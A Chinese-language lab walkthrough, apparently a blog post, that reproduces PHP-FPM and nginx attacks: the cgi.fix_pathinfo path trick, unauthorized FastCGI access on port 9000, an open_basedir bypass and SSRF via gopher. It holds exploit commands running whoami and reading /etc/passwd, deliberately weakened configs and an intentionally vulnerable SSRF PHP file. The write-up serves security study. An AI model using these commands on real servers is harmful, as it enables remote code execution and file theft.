環境的安裝-> https://www.cnblogs.com/zaqzzz/p/11870489.html
1.nginx的畸形訪問
因為安裝的是php7.0,所以需要手動修改一下(版本低的時候沒有這種防護措施)
fpm里面的security.limit_extensions默認只執行.php的文件
vi /etc/php/7.0/fpm/pool.d/www.conf
把php-fpm.conf文件里面的security.limit_extensions前邊的分號去掉,把值設置為空,這樣就可以執行任意的文件了,也可以試試把fpm關掉。
cgi.fix_pathinfo這個參數為1的時候,訪問:
ip:/*.*/.php
例如ip/1.jpg/.php,這里1.jpg的內容是<?php phpinfo();?>
因為 1.jpg/.php (把他看成一個整體)不存在,但是cgi.fix_pathinfo的原因,去掉/后邊的參數,可以找到1.jpg,就會把jpg當作php執行。
執行圖:
2. fpm未授權訪問
原因:
fpm的9000端口暴露在公網上,其實默認文件是只有本地才可以訪問的。
復現:
vi /etc/php/7.0/fpm/pool.d/www.conf
;listen=127.0.0.1:9000修改為listen=0.0.0.0:9000
復現腳本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
執行
python3 fpm.py ip /var/www/html/index.php -c "<?php echo `whoami`; ?>"
為什么要選擇:/var/www/html/index.php
因為security.limit_extensions默認只允許php文件執行,當然最好猜的是web目錄下的index.php了,如果這個配置值為空的時候(需自己手動修改),就可以返回任意文件。
當我們手動修改security.limit_extensions為空,執行命令:
python3 test.py ip /etc/passwd
這里並不會輸出passwd的內容,而是輸出phpinfo()的內容,在p牛博客底下問,因為不加-c參數的時候,默認執行phpinfo();exit();,所以返回phpinfo()后exit()結束,就不會返回passwd的內容了。或者直接執行命令
python3 test.py ip /etc/passwd -c ""
修改代碼:
成功讀取文件:
還有個問題,如果security.limit_extensions只允許php文件執行,但是你爆破不出web的目錄的話,也可以利用主機上任意的一個php文件(執行搜索: find / -name "*.php" )。
假設靶機的根目錄下存在1.php
python3 fpm.py ip /1.php -c "<?php echo `whoami`; ?>"
3.fpm未授權訪問存在 open_basedir 的限制
open_basedir限制了php能訪問的目錄
復現:
vi /etc/php/7.0/cli/php.ini
修改open_basedir的值,限制只在訪問web目錄下的文件
別忘了重啟
發現已經不能訪問根目錄的1.php文件了
修改代碼:
作用是修改了php的參數,可訪問目錄是全部目錄
運行腳本,又可以繼續訪問了
4.ssrf+FastCgi
如果fpm不在外網開放,我們可以通過ssrf進行攻擊(如果存在ssrf漏洞的地方)
vi /etc/php/7.0/fpm/pool.d/www.conf
listen=0.0.0.0:9000改為listen=127.0.0.1:9000,只允許本地訪問
假設存在ssrf.php
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

利用gopher協議攻擊(腳本在github)

因為是get傳參,所以要url編碼,如果是post方式,則這一步不需要,編碼使用burp來實現
burp截包,url的值改為gopher的內容,然后用burp編碼

編碼后

發送包,成功執行了 whoami這條命令